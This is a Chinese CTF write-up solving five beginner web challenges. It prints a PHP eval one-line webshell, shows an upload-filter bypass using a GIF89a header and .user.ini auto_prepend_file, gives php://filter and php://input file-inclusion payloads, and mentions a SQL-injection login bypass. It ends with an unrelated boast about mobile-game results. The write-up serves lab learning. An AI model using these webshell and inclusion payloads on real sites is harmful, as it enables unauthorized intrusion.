1.baby_web
2.inget
3.easyupload
4.fileinclude
5.fileclude
1.baby_web
打开靶机,
也没啥提示,但是我们可以看到网页的url地址被锁定到了1.php这个页面。再加上题目的描述我们可以知道要找他的原始页面。我们用burp suit 抓包。
发送到Repeater界面后,可以看到get请求后面有一个1.php
我们把这个1.php给删掉,然后点击send。
就可以看到flag了。
2.inget
打开靶机
它说请输入id,并尝试绕过。
一般来说传id的话都是get请求。id一般也是登录用的,所以应该是一个SQL
注入。我们用万能密码试一下
OK出来了。当然sqlmap也行,不过要麻烦一些。
3.easyupload
打开靶机
可以看出这是一个文件包含漏洞。要上传的是一个图片。那我们就写一个一句话木马,然后把文件后缀名改为.jpg。(这是我写的一句话木马 <?=eval($_POST['cmd']);?> )
我们上传一下试试。
不行,应该是网站会检索文件头,我们得在文件中加入一个图片的文件头,这里我们加入gif的文件头GIF89a(反正我试过了,png的文件头不行,至少是我不行)。
再把图片改为.jpg再上传
根据左边的提示可以得知上传成功。
这里介绍一下.user.ini文件。我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。详情可参考转载自官方wp
只要是运用了fastcgi的服务器都可以用这个方法getshell。
(判断网站是否使用了fastcgi:
1. 通过查看网站的HTTP响应头,检查是否包含FastCGI信息,如果包含则表明网站使用了FastCGI技术。
2. 通过在网站根目录下查找fastcgi.conf文件,如果存在则表明网站使用了FastCGI技术。
3. 通过查看网站的服务器日志,检查是否有FastCGI请求,如果有则表明网站使用了FastCGI技术)
所以,我们可以先新建一个文本文档,在里面写入auto_prepend_file=a.jpg。auto_prepend_file 表示在php程序加载应用程序前加载指定的php文件。在一个.user.ini中写下这句话,就能让服务中的.php文件包含我们上传的a.jpg里面的内容并执行。我们把文本文档前端加上GIF89a再重命名为.jpg。然后上传。
可以看到已经上传成功了。
我们再打开burp suite抓包。
可以看到filename中是我们上传的文件名,我们改为.user,ini。就实现了上传一个.user.ini文件。我们后来上传的包含木马的图片就会被它的命令给写入网站中的php文件中。更改后就是
注意我画住的第二行的:Content-Type: image/jpg
如果你的是:Content-Type: application/octet-stream 修改成Content-Type: image/jpg就行了(我看别人的wp有反应这个的,反正我的直接就是Content-Type: image/jpg)
然后放包
可以看到更改成功了。我们再上传包含一句话木马的图片。
这里还可以看到路径但是这个路径不对,我们按F12打开控制台。
在网络那一栏里可以看到真正的路径。
我们打开蚁剑,添加数据。
url地址哪里填写文件路径,密码是你一句话木马中这个位置的字母
连接成功后点击添加数据。
双击打开
左边点击 / 哪里,右边向下滑就可以看到flag。
4.fileinclude
打开靶机
可以看到index.php的路径,还提示我们有一个flag.php。那我们可以猜测到flag.php.也在路径 /var/www/html/下.我们右键查看网页源代码。
可以看到include及包含了一个$lan还有就是拼接了一个.php。而lan的值是用cookie传的language的值。所以我们可以对language进行赋值来读取flag.php
读取flag.php我们可以用filter伪协议进行读取。
(php://filter经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell)
fliter伪协议可以读取不能直接访问的.php文件例如本题。格式为:
php://filter/read=convert.base64-encode/resource=[文件名]
详情可见
传cookie我们有两种方法,1是Burpsuit抓包,2是用浏览器插件Hackbar直接传。方便起见,我们用方法2。如图所示
最后点击Execute就可以看到base64编码后的flag了。注意我们构造的 language=php://filter/read=convert.base64encode/resource=/var/www/html/flag注意最后是flag而不是flag.php因为前面说过了会进行一个.php的拼接。
5.fileclude
打开靶机
可以看到还是一道文件包含题。大概意思就是以get请求上传file1和file2,file1和file2都不为空。其中file1在include函数中,file2在file_get_contents函数中并且file2的值为hello ctf。file_get_contents() 把整个文件读入一个字符串中。这个函数可以通过input伪协议绕过。而读取flag.php还是用filter伪伪协议。
介绍一下input:php://input是个可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。php使用input读取post请求体的内容。
因为input读取的是post请求,所以file2的值我们应该用post请求来传。
构造payload为:?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
我们先把payload放入url栏中访问,然后再用burp suit抓包。
这样我们就来到了repeater界面,点击send。然后构造一个
Referer:?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
然后在下面写入我们的post请求(hello ctf)再点击send就行了。
这样我们就得到了base64编码之后的flag了,然后解码就出来了。
给大家分享一下最近的战绩啊,也是特别的好看。
重点是姜子牙那把,也是虐了一个金标关羽。
这是那个关羽
挺有成就感的。